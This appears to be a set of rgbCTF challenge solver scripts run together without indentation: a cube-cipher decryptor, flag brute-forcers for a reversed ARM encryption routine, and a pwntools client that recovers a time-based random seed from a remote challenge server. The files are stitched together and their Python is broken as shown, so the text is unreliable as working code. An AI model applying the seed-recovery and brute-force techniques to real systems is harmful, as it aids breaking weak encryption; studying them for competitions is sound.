for i in range(3):
for j in a[1:-1]:
new += j[i]
for i in a[-1]:
new += i
return new
print(strface(facestring))
print(facestr(strface(facestring)))
def r(face , n = 1):
for i in range(n):
face = [list(x) for x in zip(*face[::-1])]
return face
def shift(faces, nums):
new = [x[:] for x in faces]
newnums = nums[-1:] + nums[:-1]
for i in range(4):
new[newnums[i]][0] = faces[nums[i]][0]
return new
def spin(faces,a):
if a == 0:
return faces
if a == 1:
return [r(faces[1]),r(faces[5]),r(faces[2]),r(faces[0]),r(faces[4],3),r(faces[3])]
if a == 2:
return [faces[2],r(faces[1],3),faces[5],r(faces[3]),r(faces[0],2),r(faces[4],2)]
if a == 3:
for i in range(3):
faces = spin(faces,1)
return faces
if a == 4:
for i in range(3):
faces = spin(faces,2)
return faces
if a == 5:
for i in range(2):
faces = spin(faces,2)
return faces
def turn(faces,a):
b = ["U","L","F","R","B","D"].index(a)
new_faces = spin(faces,b)
new_faces[0] = r(new_faces[0])
new_faces = shift(new_faces,[1,2,3,4])
for i in range(3):
new_faces = spin(new_faces,b)
return new_faces
turns = "F' D F L' F U R' B2 U' D' L U2 D F2 L2 B2 L2 D"
turns = format(turns)
print(turns)
IV = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuv"
with open("enc_","rb") as f:
kek = f.read()
f.close()
kek2 = [kek[i*54:i*54+54] for i in range(len(kek)//54)]
out = b""
for kek3 in kek2:
cube = strface(kek3)
for i in turns.split(" "):
cube = turn(cube,i)
pp1 = bfacestr(cube)
pp2 = bytes([_a ^ _b for _a, _b in zip(pp1, IV)])
out += pp2
IV = kek3
#print(out)
with open("out","wb") as f:
f.write(out)
f.close()import os
import string
from pwn import *
flag = "rgbCTF{ARM_ar1thm3t1c_r0cks_fad96"
enc = [0x0A, 0xFB, 0xF4, 0x88, 0xDD, 0x9D, 0x7D, 0x5F, 0x9E, 0xA3, 0xC6, 0xBA, 0xF5, 0x95, 0x5D, 0x88, 0x3B, 0xE1, 0x31, 0x50, 0xC7, 0xFA, 0xF5, 0x81, 0x99, 0xC9, 0x7C, 0x23, 0xA1, 0x91, 0x87, 0xB5, 0xB1, 0x95, 0xE4]
def getlast(string):
response = os.popen(f"./arm {string}").read().split(", ")
return int(response[-2],16)
for i in range(len(flag),len(enc)):
for j in string.ascii_lowercase + string.ascii_uppercase + '0123456789_}':
try:
resp = getlast(flag + j)
if resp == enc[i]:
flag += j
print(flag)
break
except:
pass
else:
flag += '-'
print(flag.encode())
"""
for j in map(chr,range(256)):
try:
resp = getlast(flag + j)
if resp == enc[len(flag)]:
print(j)
except:
pass
"""import string
def encryptflag(toencrypt):
index = 0
bvvar3 = toencrypt[index]
while True:
curbyte = bvvar3
uVar2 = curbyte - 10 & 0xff
uVar4 = curbyte
if (bvvar3 < 0x50) and (uVar4 == uVar2 or 0x50 < uVar2):
uVar4 = curbyte + 0x46 & 0xff
uVar4 = (uVar4 - 7 ^ 0x43) & 0xff
pbVar1 = index + 1
toencrypt[index] = (uVar4 << 6) | (uVar4 >> 2)
bvvar3 = toencrypt[pbVar1]
if bvvar3 == 0: break
uVar4 = pbVar1 % 5
bvvar3 = bvvar3 << (-uVar4 & 7) | bvvar3 >> (uVar4 & 0xff)
if uVar4 == 2:
bvvar3 = bvvar3 - 1
toencrypt[pbVar1] = bvvar3
bvvar3 = toencrypt[pbVar1]
index = pbVar1
for i in range(len(toencrypt)):
toencrypt[i] = toencrypt[i] & 255
enc = [0x0A, 0xFB, 0xF4, 0x88, 0xDD, 0x9D, 0x7D, 0x5F, 0x9E, 0xA3, 0xC6, 0xBA, 0xF5, 0x95, 0x5D, 0x88, 0x3B, 0xE1, 0x31, 0x50, 0xC7, 0xFA, 0xF5, 0x81, 0x99, 0xC9, 0x7C, 0x23, 0xA1, 0x91, 0x87, 0xB5, 0xB1, 0x95, 0xE4]
flag = list(b"rgbCTF{ARM_ar1thm3t1c_r0cks_fad")
l = len(flag)
flag += [0]*(len(enc) - len(flag))
temparr = flag[:]
for i in range(l,len(enc)):
for j in map(ord,string.ascii_lowercase + string.ascii_uppercase + '0123456789_}'):
temparr = flag[:]
temparr[i] = j
encryptflag(temparr)
if temparr[i] == enc[i]:
flag[i] = j
break
print(flag)
inter = map(chr,flag)
print(''.join(inter))
arr = list(b"rgbCTF{") + [0]
encryptflag(arr)
print(", ".join(map(hex,arr)))#include <stdlib.h>
#include <stdio.h>
#define true 1
void encryptFlag(char *flag);
int main(int param_1,char *argv[])
{
char *pcVar1;
char *pbVar2;
char abStack272 [256];
pcVar1 = stpcpy((char *)abStack272,argv[1]);
encryptFlag(abStack272);
pbVar2 = abStack272;
for(int i = 0; i < strlen(argv[1]); i++){
printf("%02X, ",(uint)((pbVar2[i] & 0xff)));
}
putchar(10);
return 0;
}
void encryptFlag(char *flag)
{
char *curpointer;
char *pbVar1;
uint uVar2;
char bVar3;
uint curbyte;
uint uVar4;
bVar3 = *flag;
curpointer = flag;
if (bVar3 == 0) {
return;
}
while( 1) {
curbyte = (uint)bVar3;
uVar2 = curbyte - 10 & 0xff;
uVar4 = curbyte;
if ((bVar3 < 0x50) && (uVar4 = uVar2, 0x50 < uVar2)) {
uVar4 = curbyte + 0x46 & 0xff;
}
uVar4 = (uVar4 - 7 ^ 0x43) & 0xff;
pbVar1 = curpointer + 1;
*curpointer = (char)(uVar4 << 6) | (char)(uVar4 >> 2);
bVar3 = *pbVar1;
if (bVar3 == 0) break;
uVar4 = (int)(pbVar1 + -(int)flag) % 5;
bVar3 = bVar3 << (-uVar4 & 7) | bVar3 >> (uVar4 & 0xff);
if (uVar4 == 2) {
bVar3 = bVar3 - 1;
}
*pbVar1 = bVar3;
bVar3 = *pbVar1;
curpointer = pbVar1;
}
return;
}import os
os.environ['TERM'] = 'linux'
os.environ['TERMINFO'] = '/etc/terminfo'
from pwn import *
from random import seed, randint as w
from time import time
def getnums(secs):
seed(secs)
ans = []
for _ in range(10):
ans.append(w(5, 10000))
return ans
p = remote('167.172.123.213', 12345)
recorded = int(time())
p.recvline()
nums = [int(x) for x in p.recvlines(10)]
p.recvuntil(b"Here's another number I found: ")
enc = int(p.recvline())
knownseed = None
for possible in range(recorded-100,recorded+100):
nums2 = getnums(possible)
if nums == nums2:
knownseed = possible
break
seed(knownseed)
for _ in range(10):
print(w(5, 10000))
b = bytearray([w(0, 255) for _ in range(40)])
enc = enc.to_bytes(255,'little')
print(enc)
flag = bytearray([l ^ p for l, p in zip(enc, b)])
print(flag)